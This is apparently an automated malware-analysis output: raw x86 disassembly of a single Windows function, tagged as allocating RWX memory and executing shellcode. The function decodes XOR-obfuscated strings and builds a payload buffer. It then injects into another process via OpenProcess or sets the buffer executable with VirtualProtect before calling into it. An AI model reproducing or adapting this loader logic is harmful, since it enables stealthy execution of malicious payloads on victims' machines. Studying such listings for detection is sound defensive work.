Function at 0x4bdd10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x138
call fcn.0040df8c
lea eax, [ebp - 0x78]
mov dword [esp + 8], 0xc
mov dword [esp], eax
mov dword [esp + 4], 0x4c90e3
call fcn.0040168c
lea eax, [ebp - 0x60]
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0x4c915b
mov dword [esp], eax
call fcn.0040168c
lea eax, [ebp - 0x48]
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0x4c9168
mov dword [esp], eax
call fcn.0040168c
lea eax, [ebp - 0x30]
mov dword [esp + 8], 0x13
mov dword [esp + 4], 0x4c9175
mov dword [esp], eax
call fcn.0040168c
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edx
mov ebx, eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call fcn.004016ba
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.0040181e
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call fcn.004016ba
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.0040181e
xor ecx, ecx
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xc8], ecx
mov dword [esp], 0xf3db0
call fcn.004bcda0
mov dword [ebp - 0xe0], eax
xor ebx, ebx
mov dword [ebp - 0xf8], eax
mov eax, dword [ebx + 0x554be0]
mov dword [esp], eax
mov ecx, dword [ebp - 0xf8]
call fcn.004015b2
add ebx, 4
push eax
add dword [ebp - 0xf8], 0x18
cmp ebx, 0x28a48
jne 0x4bde0f
mov eax, dword [ebp - 0xf8]
lea ebx, [ebp - 0xc4]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xd0], eax
add eax, 0xf3db0
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0xd0]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00401a5c
jmp 0x4bdec3
lea eax, [ebp - 0xb8]
mov dword [esp + 8], 0x40
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401cb8
xor eax, eax
mov edi, dword [ebp - 0xb4]
mov ebx, dword [ebp - 0xb8]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
xor eax, eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
cmp edi, ebx
je 0x4bdfcb
lea esi, [ebp - 0x94]
mov dword [esp + 4], 0x20
mov dword [esp], esi
call fcn.00401da7
mov eax, dword [ebp - 0xf4]
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], eax
mov dword [esp], esi
call fcn.0049c1f8
push eax
mov eax, dword [ebp - 0xa0]
lea esi, [ebp - 0x88]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0x94]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00401880
mov eax, dword [ebp - 0xec]
lea ecx, [ebp - 0xac]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xa8], eax
mov dword [esp], esi
call fcn.0049c1f8
push eax
mov eax, dword [ebp - 0xac]
mov ecx, esi
add ebx, 0xc
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xf0], eax
call fcn.00485c50
lea ecx, [ebp - 0x94]
call fcn.00485c50
jmp 0x4bdf11
mov dword [ebp - 0x88], 3
xor ebx, ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
lea eax, [ebp - 0x88]
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.00423640
inc eax
je 0x4be02e
mov eax, dword [ebp - 0xf0]
mov esi, dword [ebp - 0xec]
xor ecx, ecx
mov dword [ebp - 0x100], ecx
sub eax, esi
mov dword [ebp - 0xdc], ecx
sar eax, 2
mov dword [ebp - 0xe4], ecx
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0xfc], eax
jmp 0x4be08a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 4
jne 0x4bdff5
jmp 0x4bdfe0
imul eax, dword [ebp - 0xe8], 0xc
mov esi, dword [ebp - 0xf4]
lea edx, [ebp - 0x88]
lea ecx, [esi + eax]
mov dword [esp + 8], ecx
mov edi, dword [ebp - 0xec]
mov dword [esp], edx
add eax, edi
mov dword [esp + 4], eax
call fcn.004018c5
mov ecx, dword [ebp - 0x84]
mov edi, dword [ebp - 0x88]
cmp edi, ecx
jne 0x4be09d
lea ecx, [ebp - 0x88]
call fcn.00485c50
inc dword [ebp - 0xe8]
mov edi, dword [ebp - 0xfc]
cmp dword [ebp - 0xe8], edi
jne 0x4be03b
jmp 0x4be1c7
mov eax, dword [ebp - 0x100]
mov esi, dword [ebp - 0xdc]
mov ebx, ecx
sub ebx, edi
sub eax, esi
cmp eax, ebx
jb 0x4be0f9
mov dword [esp + 4], ecx
mov dword [esp + 8], esi
mov dword [esp], edi
call fcn.00483c10
mov eax, dword [ebp - 0xdc]
add ebx, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ebx
mov dword [esp], eax
call fcn.00483c4c
mov eax, dword [ebp - 0xdc]
mov dword [esp + 4], edi
mov dword [esp], edi
mov dword [esp + 8], eax
call fcn.00483c10
mov dword [ebp - 0xdc], ebx
jmp 0x4be079
mov esi, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xdc]
sub eax, esi
mov esi, 0x7fffffff
sub esi, eax
cmp esi, ebx
jae 0x4be11e
mov dword [esp], 0x4c9189
call fcn.004bf6f0
cmp eax, ebx
mov esi, ebx
mov ebx, 0x7fffffff
cmovae esi, eax
add esi, eax
jb 0x4be133
cmp esi, ebx
cmovbe ebx, esi
mov eax, ebx
mov dword [ebp - 0x104], ecx
call fcn.00401592
mov dword [esp + 8], eax
mov esi, eax
mov eax, dword [ebp - 0xdc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xe4]
mov dword [esp], eax
call fcn.00483c4c
mov dword [esp + 8], eax
mov ecx, dword [ebp - 0x104]
mov dword [esp], edi
mov dword [esp + 4], ecx
call fcn.00483c10
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xdc]
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.00483c4c
cmp dword [ebp - 0xe4], 0
mov dword [ebp - 0xdc], eax
je 0x4be1b3
mov eax, dword [ebp - 0x100]
mov edi, dword [ebp - 0xe4]
sub eax, edi
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.004bcd60
lea eax, [esi + ebx]
mov dword [ebp - 0xe4], esi
mov dword [ebp - 0x100], eax
jmp 0x4be079
mov eax, dword [ebp - 0xdc]
mov esi, dword [ebp - 0xe4]
sub eax, esi
mov dword [ebp - 0x10c], eax
mov dword [esp], eax
call fcn.004bcd70
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xfc]
cmp dword [ebp - 0xdc], eax
je 0x4be206
mov cl, byte [eax]
inc edx
inc eax
mov byte [edx - 1], cl
jmp 0x4be1f5
mov dword [esp], 0x4c7024
call fcn.00414350
mov dword [esp], 0x4c7014
mov ebx, eax
call fcn.00414350
cmp byte [ebx], 0
jne 0x4be243
xor edx, edx
mov esi, 0x57d6aa
mov ecx, 6
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
lea edx, [eax + 0xa]
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4be29b
lea ecx, [eax + 0xa]
mov esi, 0x76
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp edi, ebx
jne 0x4be260
inc edx
jmp 0x4be28c
lea edi, [edx + 2]
cmp edi, ebx
jne 0x4be26c
add edx, 2
jmp 0x4be28c
cmp edx, ebx
jne 0x4be276
mov edx, esi
xor byte [ecx], dl
jmp 0x4be292
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4be282
add edx, 3
jmp 0x4be28c
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4be292
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4be251
inc esi
inc ecx
mov edx, esi
cmp dl, 0x8e
jne 0x4be251
mov byte [eax + 9], 1
add eax, 0xa
mov dword [esp], eax
call fcn.004016d3
mov dword [ebp - 0x104], eax
mov dword [esp], 0x4c7044
call fcn.00414350
mov dword [esp], 0x4c7034
mov ebx, eax
call fcn.00414350
cmp byte [ebx], 0
jne 0x4be2ed
xor edi, edi
lea edx, [eax + 0xa]
mov esi, 0x57d692
mov ecx, 0xa
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov edi, edx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4be345
lea ecx, [eax + 0xa]
mov esi, 0x77
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4be30a
inc edx
jmp 0x4be336
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4be316
add edx, 2
jmp 0x4be336
cmp ebx, edx
jne 0x4be320
mov ebx, esi
xor byte [ecx], bl
jmp 0x4be33c
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4be32c
add edx, 3
jmp 0x4be336
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4be33c
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4be2fb
inc esi
inc ecx
mov edx, esi
cmp dl, 0x81
jne 0x4be2fb
mov byte [eax + 9], 1
add eax, 0xa
mov dword [esp], eax
call fcn.004016d3
mov dword [ebp - 0xe8], eax
mov dword [esp], 0x4c7064
call fcn.00414350
mov dword [esp], 0x4c7054
mov ebx, eax
call fcn.00414350
cmp byte [ebx], 0
jne 0x4be397
xor esi, esi
lea edx, [eax + 0xa]
mov ecx, 3
mov dword [eax], esi
mov edi, edx
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov esi, 0x57d67a
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4be3ef
lea ecx, [eax + 0xa]
mov esi, 0x77
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4be3b4
inc edx
jmp 0x4be3e0
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4be3c0
add edx, 2
jmp 0x4be3e0
cmp ebx, edx
jne 0x4be3ca
mov ebx, esi
xor byte [ecx], bl
jmp 0x4be3e6
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4be3d6
add edx, 3
jmp 0x4be3e0
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4be3e6
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4be3a5
inc esi
inc ecx
mov edx, esi
cmp dl, 0x83
jne 0x4be3a5
mov byte [eax + 9], 1
add eax, 0xa
mov dword [esp], eax
call fcn.004016d3
mov dword [ebp - 0x110], eax
mov dword [esp], 0x4c7084
call fcn.00414350
mov dword [esp], 0x4c7074
mov ebx, eax
call fcn.00414350
cmp byte [ebx], 0
jne 0x4be441
xor ecx, ecx
lea edx, [eax + 0xa]
mov esi, 0x57d662
mov dword [eax], ecx
mov edi, edx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4be499
lea ecx, [eax + 0xa]
mov esi, 0x78
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4be45e
inc edx
jmp 0x4be48a
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4be46a
add edx, 2
jmp 0x4be48a
cmp ebx, edx
jne 0x4be474
mov ebx, esi
xor byte [ecx], bl
jmp 0x4be490
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4be480
add edx, 3
jmp 0x4be48a
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4be490
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4be44f
inc esi
inc ecx
mov edx, esi
cmp dl, 0x84
jne 0x4be44f
mov byte [eax + 9], 1
add eax, 0xa
mov dword [esp], eax
call fcn.004016d3
mov dword [ebp - 0x114], eax
mov dword [esp], 0x4c70a4
call fcn.00414350
mov dword [esp], 0x4c7094
mov ebx, eax
call fcn.00414350
cmp byte [ebx], 0
jne 0x4be4eb
xor edx, edx
mov esi, 0x57d64a
mov ecx, 3
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
lea edx, [eax + 0xa]
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4be543
lea ecx, [eax + 0xa]
mov esi, 0x78
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4be508
inc edx
jmp 0x4be534
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4be514
add edx, 2
jmp 0x4be534
cmp ebx, edx
jne 0x4be51e
mov ebx, esi
xor byte [ecx], bl
jmp 0x4be53a
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4be52a
add edx, 3
jmp 0x4be534
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4be53a
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4be4f9
inc esi
inc ecx
mov edx, esi
cmp dl, 0x84
jne 0x4be4f9
mov byte [eax + 9], 1
add eax, 0xa
mov dword [esp], eax
call fcn.004016d3
mov dword [ebp - 0x108], eax
mov dword [esp], 0x4c70c4
call fcn.00414350
mov dword [esp], 0x4c70b4
mov ebx, eax
call fcn.00414350
cmp byte [ebx], 0
jne 0x4be595
xor edi, edi
lea edx, [eax + 0xa]
mov esi, 0x57d632
mov ecx, 0xb
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov edi, edx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4be5ed
lea ecx, [eax + 0xa]
mov esi, 0x78
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4be5b2
inc edx
jmp 0x4be5de
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4be5be
add edx, 2
jmp 0x4be5de
cmp ebx, edx
jne 0x4be5c8
mov ebx, esi
xor byte [ecx], bl
jmp 0x4be5e4
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4be5d4
add edx, 3
jmp 0x4be5de
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4be5e4
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4be5a3
inc esi
inc ecx
mov edx, esi
cmp dl, 0x83
jne 0x4be5a3
mov byte [eax + 9], 1
add eax, 0xa
mov dword [esp], eax
call fcn.004016d3
mov esi, dword [ebp - 0xe8]
mov edx, eax
mov eax, dword [ebp - 0x104]
mov edi, dword [ebp - 0x110]
or eax, esi
mov esi, dword [ebp - 0x114]
or eax, edi
mov edi, dword [ebp - 0x108]
or eax, esi
or eax, edi
or eax, edx
je 0x4be6c3
cmp dword [ebp - 0x104], 0
jne 0x4be665
cmp dword [ebp - 0xe8], 0
jne 0x4be671
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xe8], eax
test eax, eax
jne 0x4be671
mov dword [ebp - 0xe8], esi
test esi, esi
jne 0x4be671
test edi, edi
cmovne edx, edi
mov dword [ebp - 0xe8], edx
jmp 0x4be671
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
xor esi, esi
mov dword [esp], 0x43a
mov dword [esp + 4], esi
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x4be736
mov eax, dword [ebp - 0x10c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xfc]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.0040190a
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
jmp 0x4be736
lea eax, [ebp - 0x88]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x4be736
xor edx, edx
xor ecx, ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov eax, dword [ebp - 0xfc]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp], ecx
mov eax, dword [ebp - 0x118]
call eax
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [ebp - 0x11c]
call eax
push eax
push eax
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
call fcn.004bcd40
mov eax, dword [ebp - 0xe4]
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x80], eax
call fcn.00485c50
mov eax, dword [ebp - 0xf4]
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], eax
call fcn.0049c230
mov eax, dword [ebp - 0xec]
lea ecx, [ebp - 0xac]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xa8], eax
call fcn.0049c230
lea ecx, [ebp - 0xb8]
call fcn.0049c230
lea ecx, [ebp - 0xc4]
call fcn.00485c50
mov esi, dword [ebp - 0xe0]
cmp dword [ebp - 0xf8], esi
je 0x4be921
mov ecx, dword [ebp - 0xe0]
call fcn.0049d310
add dword [ebp - 0xe0], 0x18
jmp 0x4be7c0
lea ecx, [ebp - 0xd0]
call fcn.00485c30
lea ecx, [ebp - 0x30]
call fcn.0049d310
lea ecx, [ebp - 0x48]
call fcn.0049d310
lea ecx, [ebp - 0x60]
call fcn.0049d310
lea ecx, [ebp - 0x78]
call fcn.0049d310
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret